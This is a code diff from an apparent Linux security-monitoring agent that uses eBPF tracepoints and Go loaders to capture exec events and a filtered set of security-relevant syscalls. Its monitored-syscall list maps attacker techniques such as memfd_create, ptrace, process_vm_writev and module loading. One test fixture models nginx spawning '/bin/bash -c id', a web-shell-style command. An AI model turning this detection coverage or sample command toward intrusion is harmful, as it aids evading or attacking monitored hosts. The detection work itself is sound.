event.args[0] = family;
event.args[3] = ctx->args[0];
#if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__
event.args[1] = __builtin_bswap16(port);
#else
event.args[1] = port;
#endif
if (family == 2) {
bpf_probe_read_user(&ipv4, sizeof(ipv4), address + 4);
event.args[2] = ipv4;
} else if (family == 10) {
bpf_probe_read_user(event.text, 16, address + 8);
}
} else if (*syscall_id >= 24 && *syscall_id <= 26) { // listen/accept/accept4
event.args[3] = ctx->args[0];
} else {
#pragma unroll
for (int i = 0; i < 6; i++)
event.args[i] = ctx->args[i];
}
if (*syscall_id >= 21 && *syscall_id <= 26) {
u64 pid_tgid = bpf_get_current_pid_tgid();
bpf_map_update_elem(&pending_returns, &pid_tgid, &event, 0);
return 0;
}
bpf_perf_event_output(ctx, &syscall_events, BPF_F_CURRENT_CPU, &event, sizeof(event));
return 0;
}
SEC("tracepoint/raw_syscalls/sys_exit")
int trace_sys_exit(struct trace_event_raw_sys_exit *ctx)
{
u64 pid_tgid = bpf_get_current_pid_tgid();
struct syscall_event *event = bpf_map_lookup_elem(&pending_returns, &pid_tgid);
if (!event)
return 0;
if (event->syscall_id == 25 || event->syscall_id == 26)
event->args[3] = ctx->ret;
// Every write-family syscall returns its byte count, so the shared
// canonical event is confirmed only when at least one byte was written.
if ((event->syscall_id == 21 && ctx->ret > 0) ||
(event->syscall_id >= 22 && event->syscall_id <= 24 && ctx->ret == 0) ||
((event->syscall_id == 25 || event->syscall_id == 26) && ctx->ret >= 0))
bpf_perf_event_output(ctx, &syscall_events, BPF_F_CURRENT_CPU,
event, sizeof(*event));
bpf_map_delete_elem(&pending_returns, &pid_tgid);
return 0;
}
char LICENSE[] SEC("license") = "GPL";

View file

@ -0,0 +1,131 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package ebpfsource
import (
"bytes"
"encoding/binary"
"errors"
"fmt"
"io"
"github.com/cilium/ebpf/link"
"github.com/cilium/ebpf/perf"
"github.com/cilium/ebpf/rlimit"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/events"
)
// ExecSource owns the Go-native exec tracepoint and perf reader. Load errors
// are returned to the caller so startup can log and fall back to polling.
type ExecSource struct {
objects execObjects
link link.Link
reader *perf.Reader
}
// execEventRaw mirrors struct exec_event in bpf/exec.bpf.c. Keeping the wire
// layout explicit makes changes to the kernel/user-space ABI reviewable.
type execEventRaw struct {
PID uint32
PPID uint32
UID uint32
ParentComm [16]int8
Filename [128]int8
Arg1 [128]int8
Arg2 [128]int8
}
// LostSamplesError reports perf-buffer pressure without making it impossible
// for the caller to continue reading later events.
type LostSamplesError struct {
Count uint64
}
func (e LostSamplesError) Error() string {
return fmt.Sprintf("exec perf buffer lost %d samples", e.Count)
}
func OpenExecSource() (*ExecSource, error) {
// Required by older kernels. On newer memcg-accounted kernels this may fail
// in an otherwise capable service sandbox, so attempt the load regardless
// and preserve both errors only when loading also fails.
memlockErr := rlimit.RemoveMemlock()
var objects execObjects
if err := loadExecObjects(&objects, nil); err != nil {
if memlockErr != nil {
return nil, fmt.Errorf("load exec BPF objects: %w (memlock adjustment: %v)", err, memlockErr)
}
return nil, fmt.Errorf("load exec BPF objects: %w", err)
}
attached, err := link.Tracepoint("syscalls", "sys_enter_execve", objects.TraceExecve, nil)
if err != nil {
objects.Close()
return nil, fmt.Errorf("attach exec tracepoint: %w", err)
}
reader, err := perf.NewReader(objects.Events, 64*4096)
if err != nil {
attached.Close()
objects.Close()
return nil, fmt.Errorf("open exec perf reader: %w", err)
}
return &ExecSource{objects: objects, link: attached, reader: reader}, nil
}
func (s *ExecSource) Read() (events.ExecEvent, error) {
record, err := s.reader.Read()
if err != nil {
return events.ExecEvent{}, err
}
if record.LostSamples != 0 {
return events.ExecEvent{}, LostSamplesError{Count: record.LostSamples}
}
return decodeExecSample(record.RawSample)
}
func decodeExecSample(sample []byte) (events.ExecEvent, error) {
var raw execEventRaw
if len(sample) != binary.Size(raw) {
return events.ExecEvent{}, fmt.Errorf("exec event size %d, want %d", len(sample), binary.Size(raw))
}
if err := binary.Read(bytes.NewReader(sample), binary.NativeEndian, &raw); err != nil {
return events.ExecEvent{}, fmt.Errorf("decode exec event: %w", err)
}
argv := make([]string, 0, 2)
if value := cString(raw.Arg1[:]); value != "" {
argv = append(argv, value)
}
if value := cString(raw.Arg2[:]); value != "" {
argv = append(argv, value)
}
return events.ExecEvent{
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
ParentComm: cString(raw.ParentComm[:]), Filename: cString(raw.Filename[:]),
Argv: argv,
}, nil
}
func (s *ExecSource) Close() error {
var failures []error
if s.reader != nil {
failures = append(failures, s.reader.Close())
}
if s.link != nil {
failures = append(failures, s.link.Close())
}
failures = append(failures, s.objects.Close())
return errors.Join(failures...)
}
func cString(raw []int8) string {
value := make([]byte, 0, len(raw))
for _, char := range raw {
if char == 0 {
break
}
value = append(value, byte(char))
}
return string(value)
}
var _ io.Closer = (*ExecSource)(nil)

View file

@ -0,0 +1,141 @@
// Code generated by bpf2go; DO NOT EDIT.
//go:build mips || mips64 || ppc64 || s390x
package ebpfsource
import (
"bytes"
_ "embed"
"fmt"
"io"
"github.com/cilium/ebpf"
)
// Names of all BPF objects in the ELF.
//
// Used for safe lookups in a Collection or CollectionSpec.
const (
execMapEvents = "events"
execProgTraceExecve = "trace_execve"
)
// loadExec returns the embedded CollectionSpec for exec.
func loadExec() (*ebpf.CollectionSpec, error) {
reader := bytes.NewReader(_ExecBytes)
spec, err := ebpf.LoadCollectionSpecFromReader(reader)
if err != nil {
return nil, fmt.Errorf("can't load exec: %w", err)
}
return spec, err
}
// loadExecObjects loads exec and converts it into a struct.
//
// The following types are suitable as obj argument:
//
// *execObjects
// *execPrograms
// *execMaps
//
// See ebpf.CollectionSpec.LoadAndAssign documentation for details.
func loadExecObjects(obj any, opts *ebpf.CollectionOptions) error {
spec, err := loadExec()
if err != nil {
return err
}
return spec.LoadAndAssign(obj, opts)
}
// execSpecs contains maps and programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execSpecs struct {
execProgramSpecs
execMapSpecs
execVariableSpecs
}
// execProgramSpecs contains programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execProgramSpecs struct {
TraceExecve *ebpf.ProgramSpec `ebpf:"trace_execve"`
}
// execMapSpecs contains maps before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execMapSpecs struct {
Events *ebpf.MapSpec `ebpf:"events"`
}
// execVariableSpecs contains global variables before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execVariableSpecs struct {
}
// execObjects contains all objects after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execObjects struct {
execPrograms
execMaps
execVariables
}
func (o *execObjects) Close() error {
return _ExecClose(
&o.execPrograms,
&o.execMaps,
)
}
// execMaps contains all maps after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execMaps struct {
Events *ebpf.Map `ebpf:"events"`
}
func (m *execMaps) Close() error {
return _ExecClose(
m.Events,
)
}
// execVariables contains all global variables after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execVariables struct {
}
// execPrograms contains all programs after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execPrograms struct {
TraceExecve *ebpf.Program `ebpf:"trace_execve"`
}
func (p *execPrograms) Close() error {
return _ExecClose(
p.TraceExecve,
)
}
func _ExecClose(closers ...io.Closer) error {
for _, closer := range closers {
if err := closer.Close(); err != nil {
return err
}
}
return nil
}
// Do not access this directly.
//
//go:embed exec_bpfeb.o
var _ExecBytes []byte

Binary file not shown.

View file

@ -0,0 +1,141 @@
// Code generated by bpf2go; DO NOT EDIT.
//go:build 386 || amd64 || arm || arm64 || loong64 || mips64le || mipsle || ppc64le || riscv64 || wasm
package ebpfsource
import (
"bytes"
_ "embed"
"fmt"
"io"
"github.com/cilium/ebpf"
)
// Names of all BPF objects in the ELF.
//
// Used for safe lookups in a Collection or CollectionSpec.
const (
execMapEvents = "events"
execProgTraceExecve = "trace_execve"
)
// loadExec returns the embedded CollectionSpec for exec.
func loadExec() (*ebpf.CollectionSpec, error) {
reader := bytes.NewReader(_ExecBytes)
spec, err := ebpf.LoadCollectionSpecFromReader(reader)
if err != nil {
return nil, fmt.Errorf("can't load exec: %w", err)
}
return spec, err
}
// loadExecObjects loads exec and converts it into a struct.
//
// The following types are suitable as obj argument:
//
// *execObjects
// *execPrograms
// *execMaps
//
// See ebpf.CollectionSpec.LoadAndAssign documentation for details.
func loadExecObjects(obj any, opts *ebpf.CollectionOptions) error {
spec, err := loadExec()
if err != nil {
return err
}
return spec.LoadAndAssign(obj, opts)
}
// execSpecs contains maps and programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execSpecs struct {
execProgramSpecs
execMapSpecs
execVariableSpecs
}
// execProgramSpecs contains programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execProgramSpecs struct {
TraceExecve *ebpf.ProgramSpec `ebpf:"trace_execve"`
}
// execMapSpecs contains maps before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execMapSpecs struct {
Events *ebpf.MapSpec `ebpf:"events"`
}
// execVariableSpecs contains global variables before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execVariableSpecs struct {
}
// execObjects contains all objects after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execObjects struct {
execPrograms
execMaps
execVariables
}
func (o *execObjects) Close() error {
return _ExecClose(
&o.execPrograms,
&o.execMaps,
)
}
// execMaps contains all maps after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execMaps struct {
Events *ebpf.Map `ebpf:"events"`
}
func (m *execMaps) Close() error {
return _ExecClose(
m.Events,
)
}
// execVariables contains all global variables after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execVariables struct {
}
// execPrograms contains all programs after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execPrograms struct {
TraceExecve *ebpf.Program `ebpf:"trace_execve"`
}
func (p *execPrograms) Close() error {
return _ExecClose(
p.TraceExecve,
)
}
func _ExecClose(closers ...io.Closer) error {
for _, closer := range closers {
if err := closer.Close(); err != nil {
return err
}
}
return nil
}
// Do not access this directly.
//
//go:embed exec_bpfel.o
var _ExecBytes []byte

Binary file not shown.

View file

@ -0,0 +1,52 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package ebpfsource
import (
"bytes"
"encoding/binary"
"testing"
)
func TestDecodeExecSample(t *testing.T) {
raw := execEventRaw{PID: 42, PPID: 7, UID: 1000}
copyCString(raw.ParentComm[:], "nginx")
copyCString(raw.Filename[:], "/bin/bash")
copyCString(raw.Arg1[:], "-c")
copyCString(raw.Arg2[:], "id")
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
event, err := decodeExecSample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if event.PID != 42 || event.PPID != 7 || event.UID != 1000 ||
event.ParentComm != "nginx" || event.Filename != "/bin/bash" ||
len(event.Argv) != 2 || event.Argv[0] != "-c" || event.Argv[1] != "id" {
t.Fatalf("unexpected event: %#v", event)
}
}
func TestDecodeExecSampleRejectsWrongSize(t *testing.T) {
if _, err := decodeExecSample([]byte{1, 2, 3}); err == nil {
t.Fatal("expected size error")
}
}
func TestCStringStopsAtNUL(t *testing.T) {
if got := cString([]int8{'a', 'b', 0, 'c'}); got != "ab" {
t.Fatalf("got %q", got)
}
}
func copyCString(destination []int8, value string) {
for index, char := range []byte(value) {
if index >= len(destination)-1 {
break
}
destination[index] = int8(char)
}
}

View file

@ -0,0 +1,9 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package ebpfsource
// Generate checked-in object bindings so normal builds need neither clang nor
// kernel headers. The tracepoint ABI is stable and avoids host-specific
// generated vmlinux.h while the loader remains pure Go.
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go@v0.22.0 -cc clang -cflags "-O2 -g -Wall -Werror" exec bpf/exec.bpf.c
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go@v0.22.0 -cc clang -cflags "-O2 -g -Wall -Werror" syscall bpf/syscall.bpf.c

View file

@ -0,0 +1,75 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package ebpfsource
import (
"testing"
"github.com/cilium/ebpf"
"github.com/cilium/ebpf/btf"
)
func TestEmbeddedExecCollectionShape(t *testing.T) {
specification, err := loadExec()
if err != nil {
t.Fatal(err)
}
program := specification.Programs["trace_execve"]
eventsMap := specification.Maps["events"]
if program == nil || program.Type != ebpf.TracePoint || program.SectionName != "tracepoint/syscalls/sys_enter_execve" {
t.Fatalf("unexpected exec program: %#v", program)
}
if eventsMap == nil || eventsMap.Type != ebpf.PerfEventArray {
t.Fatalf("unexpected exec events map: %#v", eventsMap)
}
if countCORERelocations(program) < 2 {
t.Fatal("exec program must retain parent task CO-RE relocations")
}
}
func TestEmbeddedSyscallCollectionShape(t *testing.T) {
specification, err := loadSyscall()
if err != nil {
t.Fatal(err)
}
program := specification.Programs["trace_sys_enter"]
exitProgram := specification.Programs["trace_sys_exit"]
filterMap := specification.Maps["monitored_syscalls"]
writeCommsMap := specification.Maps["monitored_host_comms"]
pendingWritesMap := specification.Maps["pending_returns"]
eventsMap := specification.Maps["syscall_events"]
if program == nil || program.Type != ebpf.TracePoint || program.SectionName != "tracepoint/raw_syscalls/sys_enter" {
t.Fatalf("unexpected syscall program: %#v", program)
}
if exitProgram == nil || exitProgram.Type != ebpf.TracePoint || exitProgram.SectionName != "tracepoint/raw_syscalls/sys_exit" {
t.Fatalf("unexpected syscall exit program: %#v", exitProgram)
}
if filterMap == nil || filterMap.Type != ebpf.Hash || filterMap.MaxEntries != 64 ||
filterMap.KeySize != 8 || filterMap.ValueSize != 4 {
t.Fatalf("unexpected syscall filter map: %#v", filterMap)
}
if writeCommsMap == nil || writeCommsMap.Type != ebpf.Hash || writeCommsMap.MaxEntries != 64 ||
writeCommsMap.KeySize != 16 || writeCommsMap.ValueSize != 4 {
t.Fatalf("unexpected write comm map: %#v", writeCommsMap)
}
if pendingWritesMap == nil || pendingWritesMap.Type != ebpf.Hash || pendingWritesMap.MaxEntries != 4096 ||
pendingWritesMap.KeySize != 8 {
t.Fatalf("unexpected pending writes map: %#v", pendingWritesMap)
}
if eventsMap == nil || eventsMap.Type != ebpf.PerfEventArray {
t.Fatalf("unexpected syscall events map: %#v", eventsMap)
}
if countCORERelocations(program) < 2 {
t.Fatal("syscall program must retain parent task CO-RE relocations")
}
}
func countCORERelocations(program *ebpf.ProgramSpec) int {
count := 0
for index := range program.Instructions {
if btf.CORERelocationMetadata(&program.Instructions[index]) != nil {
count++
}
}
return count
}

View file

@ -0,0 +1,476 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package ebpfsource
import (
"bufio"
"bytes"
"encoding/binary"
"encoding/hex"
"errors"
"fmt"
"io"
"net"
"os"
"path/filepath"
"slices"
"strconv"
"strings"
"github.com/cilium/ebpf"
"github.com/cilium/ebpf/link"
"github.com/cilium/ebpf/perf"
"github.com/cilium/ebpf/rlimit"
"golang.org/x/sys/unix"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/events"
)
const (
syscallMprotect uint32 = iota + 1
syscallMmap
syscallMemfdCreate
syscallPtrace
syscallPrctl
syscallSeccomp
syscallProcessVMReadv
syscallProcessVMWritev
syscallMlock
syscallMlock2
syscallMlockall
hostSetuid
hostSetgid
hostChmod
hostFchmodat
hostChown
hostLchown
hostFchownat
hostCapset
hostFinitModule
hostFileWrite
hostTCPConnect
hostBind
hostListen
hostAccept
hostAccept4
)
var syscallNames = map[uint32]string{
syscallMprotect: "mprotect",
syscallMmap: "mmap",
syscallMemfdCreate: "memfd_create",
syscallPtrace: "ptrace",
syscallPrctl: "prctl",
syscallSeccomp: "seccomp",
syscallProcessVMReadv: "process_vm_readv",
syscallProcessVMWritev: "process_vm_writev",
syscallMlock: "mlock",
syscallMlock2: "mlock2",
syscallMlockall: "mlockall",
}
type syscallEventRaw struct {
PID uint32
PPID uint32
UID uint32
SyscallID uint32
Comm [16]int8
Args [6]uint64
Text [80]int8
}
type SyscallLostSamplesError struct {
Count uint64
}
// SecurityEvent is the typed result of the shared filtered syscall transport.
// Exactly one field is populated.
type SecurityEvent struct {
Syscall *events.SyscallEvent
Host *events.HostEvent
pathDirFD int64
}
func (e SyscallLostSamplesError) Error() string {
return fmt.Sprintf("syscall perf buffer lost %d samples", e.Count)
}
// SyscallSource filters raw syscall entry events in-kernel using a map of
// architecture-specific syscall numbers, then exposes transport-neutral
// SyscallEvent values to the existing rule engine.
type SyscallSource struct {
objects syscallObjects
links []link.Link
reader *perf.Reader
procRoot string
}
func OpenSyscallSource(procRoot string) (*SyscallSource, error) {
if procRoot == "" {
procRoot = "/proc"
}
numbers := monitoredSyscalls()
memlockErr := rlimit.RemoveMemlock()
var objects syscallObjects
if err := loadSyscallObjects(&objects, nil); err != nil {
if memlockErr != nil {
return nil, fmt.Errorf("load syscall BPF objects: %w (memlock adjustment: %v)", err, memlockErr)
}
return nil, fmt.Errorf("load syscall BPF objects: %w", err)
}
for number, identifier := range numbers {
if err := objects.MonitoredSyscalls.Update(number, identifier, ebpf.UpdateAny); err != nil {
objects.Close()
return nil, fmt.Errorf("configure syscall %d: %w", number, err)
}
}
for _, comm := range events.HostInterpreterComms() {
var key [16]byte
copy(key[:], comm)
if err := objects.MonitoredHostComms.Update(key, uint32(1), ebpf.UpdateAny); err != nil {
objects.Close()
return nil, fmt.Errorf("configure write comm %q: %w", comm, err)
}
}
enterLink, err := link.Tracepoint("raw_syscalls", "sys_enter", objects.TraceSysEnter, nil)
if err != nil {
objects.Close()
return nil, fmt.Errorf("attach raw syscall tracepoint: %w", err)
}
exitLink, err := link.Tracepoint("raw_syscalls", "sys_exit", objects.TraceSysExit, nil)
if err != nil {
enterLink.Close()
objects.Close()
return nil, fmt.Errorf("attach raw syscall exit tracepoint: %w", err)
}
reader, err := perf.NewReader(objects.SyscallEvents, 64*4096)
if err != nil {
exitLink.Close()
enterLink.Close()
objects.Close()
return nil, fmt.Errorf("open syscall perf reader: %w", err)
}
return &SyscallSource{objects: objects, links: []link.Link{enterLink, exitLink}, reader: reader, procRoot: procRoot}, nil
}
func (s *SyscallSource) Read() (SecurityEvent, error) {
record, err := s.reader.Read()
if err != nil {
return SecurityEvent{}, err
}
if record.LostSamples != 0 {
return SecurityEvent{}, SyscallLostSamplesError{Count: record.LostSamples}
}
securityEvent, err := decodeSecuritySample(record.RawSample)
if err == nil && securityEvent.Host != nil {
if securityEvent.Host.Path != "" {
securityEvent.Host.Path = resolveProcessPath(
s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD,
securityEvent.Host.Path,
)
} else if securityEvent.Host.Event == "module_load" || securityEvent.Host.Event == "file_write" {
securityEvent.Host.Path = resolveProcessFD(s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD)
if securityEvent.Host.Event == "module_load" && securityEvent.Host.Path != "" {
securityEvent.Host.ModuleName = filepath.Base(strings.TrimSuffix(securityEvent.Host.Path, " (deleted)"))
}
}
if securityEvent.Host.Event == "tcp_connect" &&
!isTCPSocket(s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD) {
securityEvent.Host = nil
}
if securityEvent.Host != nil &&
(securityEvent.Host.Event == "listen" || securityEvent.Host.Event == "accept") {
local, peer, ok := lookupTCPSocket(s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD)
if !ok {
securityEvent.Host = nil
} else {
securityEvent.Host.LocalIP, securityEvent.Host.LocalPort = local.IP, local.Port
securityEvent.Host.PeerIP, securityEvent.Host.PeerPort = peer.IP, peer.Port
}
}
}
return securityEvent, err
}
func decodeSecuritySample(sample []byte) (SecurityEvent, error) {
var raw syscallEventRaw
if len(sample) != binary.Size(raw) {
return SecurityEvent{}, fmt.Errorf("syscall event size %d, want %d", len(sample), binary.Size(raw))
}
if err := binary.Read(bytes.NewReader(sample), binary.NativeEndian, &raw); err != nil {
return SecurityEvent{}, fmt.Errorf("decode syscall event: %w", err)
}
if raw.SyscallID == hostSetuid || raw.SyscallID == hostSetgid {
event := events.HostEvent{
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
}
if raw.SyscallID == hostSetuid {
event.Event = "setuid"
event.TargetUID = int(raw.Args[0])
} else {
event.Event = "setgid"
event.TargetGID = int(raw.Args[0])
}
return SecurityEvent{Host: &event}, nil
}
if raw.SyscallID >= hostChmod && raw.SyscallID <= hostFchownat {
event := events.HostEvent{
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), Path: cString(raw.Text[:]),
TargetUID: -1, TargetGID: -1,
}
switch raw.SyscallID {
case hostChmod, hostFchmodat:
event.Event = "chmod"
event.Mode = int(raw.Args[0])
case hostChown, hostLchown, hostFchownat:
event.Event = "chown"
event.TargetUID = int(raw.Args[0])
event.TargetGID = int(raw.Args[1])
}
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[2])}, nil
}
if raw.SyscallID == hostCapset {
event := events.HostEvent{
Event: "capset", PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
Capabilities: capabilityNames(raw.Args[0]),
}
return SecurityEvent{Host: &event}, nil
}
if raw.SyscallID == hostFinitModule {
event := events.HostEvent{
Event: "module_load", PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
}
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[0])}, nil
}
if raw.SyscallID == hostFileWrite {
event := events.HostEvent{
Event: "file_write", PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
}
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[0])}, nil
}
if raw.SyscallID == hostTCPConnect || raw.SyscallID == hostBind {
event := events.HostEvent{
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
}
address := socketAddress(raw)
if raw.SyscallID == hostTCPConnect {
event.Event, event.PeerIP, event.PeerPort = "tcp_connect", address, int(raw.Args[1])
} else {
event.Event, event.LocalIP, event.LocalPort = "bind", address, int(raw.Args[1])
}
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[3])}, nil
}
if raw.SyscallID >= hostListen && raw.SyscallID <= hostAccept4 {
eventName := "accept"
if raw.SyscallID == hostListen {
eventName = "listen"
}
event := events.HostEvent{
Event: eventName, PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
}
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[3])}, nil
}
name, ok := syscallNames[raw.SyscallID]
if !ok {
return SecurityEvent{}, fmt.Errorf("unknown canonical syscall id %d", raw.SyscallID)
}
event := events.SyscallEvent{
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
Comm: cString(raw.Comm[:]), Syscall: name, Args: raw.Args,
Text: cString(raw.Text[:]),
}
return SecurityEvent{Syscall: &event}, nil
}
func decodeSyscallSample(sample []byte) (events.SyscallEvent, error) {
securityEvent, err := decodeSecuritySample(sample)
if err != nil {
return events.SyscallEvent{}, err
}
if securityEvent.Syscall == nil {
return events.SyscallEvent{}, fmt.Errorf("sample is a typed host event")
}
return *securityEvent.Syscall, nil
}
func (s *SyscallSource) Close() error {
var failures []error
if s.reader != nil {
failures = append(failures, s.reader.Close())
}
for _, attached := range s.links {
if attached != nil {
failures = append(failures, attached.Close())
}
}
failures = append(failures, s.objects.Close())
return errors.Join(failures...)
}
func monitoredSyscalls() map[uint64]uint32 {
numbers := map[uint64]uint32{
unix.SYS_MPROTECT: syscallMprotect,
unix.SYS_MMAP: syscallMmap,
unix.SYS_MEMFD_CREATE: syscallMemfdCreate,
unix.SYS_PTRACE: syscallPtrace,
unix.SYS_PRCTL: syscallPrctl,
unix.SYS_SECCOMP: syscallSeccomp,
unix.SYS_PROCESS_VM_READV: syscallProcessVMReadv,
unix.SYS_PROCESS_VM_WRITEV: syscallProcessVMWritev,
unix.SYS_MLOCK: syscallMlock,
unix.SYS_MLOCK2: syscallMlock2,
unix.SYS_MLOCKALL: syscallMlockall,
unix.SYS_SETUID: hostSetuid,
unix.SYS_SETGID: hostSetgid,
unix.SYS_FCHMODAT: hostFchmodat,
unix.SYS_FCHOWNAT: hostFchownat,
unix.SYS_CAPSET: hostCapset,
unix.SYS_FINIT_MODULE: hostFinitModule,
unix.SYS_WRITE: hostFileWrite,
unix.SYS_WRITEV: hostFileWrite,
unix.SYS_PWRITE64: hostFileWrite,
unix.SYS_PWRITEV: hostFileWrite,
unix.SYS_PWRITEV2: hostFileWrite,
unix.SYS_CONNECT: hostTCPConnect,
unix.SYS_BIND: hostBind,
unix.SYS_LISTEN: hostListen,
unix.SYS_ACCEPT4: hostAccept4,
}
for number, identifier := range legacyPermissionSyscalls() {
numbers[number] = identifier
}
for number, identifier := range legacyNetworkSyscalls() {
numbers[number] = identifier
}
return numbers
}
func socketAddress(raw syscallEventRaw) string {
switch raw.Args[0] {
case unix.AF_INET:
bytes := make([]byte, 4)
binary.NativeEndian.PutUint32(bytes, uint32(raw.Args[2]))
return net.IP(bytes).String()
case unix.AF_INET6:
bytes := make([]byte, 16)
for index := range bytes {
bytes[index] = byte(raw.Text[index])
}
return net.IP(bytes).String()
default:
return ""
}
}
func capabilityNames(effective uint64) []string {
known := []struct {
bit uint
name string
}{
{0, "CAP_CHOWN"}, {1, "CAP_DAC_OVERRIDE"}, {2, "CAP_DAC_READ_SEARCH"},
{12, "CAP_NET_ADMIN"}, {13, "CAP_NET_RAW"}, {16, "CAP_SYS_MODULE"},
{19, "CAP_SYS_PTRACE"}, {21, "CAP_SYS_ADMIN"},
}
names := make([]string, 0)
for _, capability := range known {
if effective&(uint64(1)<<capability.bit) != 0 {
names = append(names, capability.name)
}
}
return names
}
func resolveProcessPath(procRoot string, pid int, dirFD int64, path string) string {
if filepath.IsAbs(path) {
return filepath.Clean(path)
}
processRoot := filepath.Join(procRoot, fmt.Sprintf("%d", pid))
baseLink := filepath.Join(processRoot, "cwd")
if dirFD >= 0 {
baseLink = filepath.Join(processRoot, "fd", fmt.Sprintf("%d", dirFD))
}
base, err := os.Readlink(baseLink)
if err != nil || !filepath.IsAbs(base) {
return path
}
return filepath.Clean(filepath.Join(base, path))
}
func resolveProcessFD(procRoot string, pid int, fd int64) string {
if fd < 0 {
return ""
}
path, err := os.Readlink(filepath.Join(procRoot, fmt.Sprintf("%d", pid), "fd", fmt.Sprintf("%d", fd)))
if err != nil || !filepath.IsAbs(path) {
return ""
}
return filepath.Clean(path)
}
func isTCPSocket(procRoot string, pid int, fd int64) bool {
_, _, ok := lookupTCPSocket(procRoot, pid, fd)
return ok
}
type socketEndpoint struct {
IP string
Port int
}
func lookupTCPSocket(procRoot string, pid int, fd int64) (socketEndpoint, socketEndpoint, bool) {
target, err := os.Readlink(filepath.Join(procRoot, fmt.Sprintf("%d", pid), "fd", fmt.Sprintf("%d", fd)))
if err != nil || !strings.HasPrefix(target, "socket:[") || !strings.HasSuffix(target, "]") {
return socketEndpoint{}, socketEndpoint{}, false
}
inode := strings.TrimSuffix(strings.TrimPrefix(target, "socket:["), "]")
for _, name := range []string{"tcp", "tcp6"} {
file, err := os.Open(filepath.Join(procRoot, "net", name))
if err != nil {
continue
}
scanner := bufio.NewScanner(file)
for scanner.Scan() {
fields := strings.Fields(scanner.Text())
if len(fields) > 9 && fields[9] == inode {
local, localErr := decodeProcEndpoint(fields[1], name == "tcp6")
peer, peerErr := decodeProcEndpoint(fields[2], name == "tcp6")
file.Close()
return local, peer, localErr == nil && peerErr == nil
}
}
file.Close()
}
return socketEndpoint{}, socketEndpoint{}, false
}
func decodeProcEndpoint(value string, ipv6 bool) (socketEndpoint, error) {
addressHex, portHex, ok := strings.Cut(value, ":")
if !ok {
return socketEndpoint{}, fmt.Errorf("invalid proc endpoint %q", value)
}
address, err := hex.DecodeString(addressHex)
if err != nil || len(address) != 4 && len(address) != 16 {
return socketEndpoint{}, fmt.Errorf("invalid proc address %q", addressHex)
}
if ipv6 {
for offset := 0; offset < len(address); offset += 4 {
slices.Reverse(address[offset : offset+4])
}
} else {
slices.Reverse(address)
}
port, err := strconv.ParseUint(portHex, 16, 16)
if err != nil {
return socketEndpoint{}, err
}
return socketEndpoint{IP: net.IP(address).String(), Port: int(port)}, nil
}
var _ io.Closer = (*SyscallSource)(nil)

View file

@ -0,0 +1,157 @@
// Code generated by bpf2go; DO NOT EDIT.
//go:build mips || mips64 || ppc64 || s390x
package ebpfsource
import (
"bytes"
_ "embed"
"fmt"
"io"
"github.com/cilium/ebpf"
)
// Names of all BPF objects in the ELF.
//
// Used for safe lookups in a Collection or CollectionSpec.
const (
syscallMapMonitoredHostComms = "monitored_host_comms"
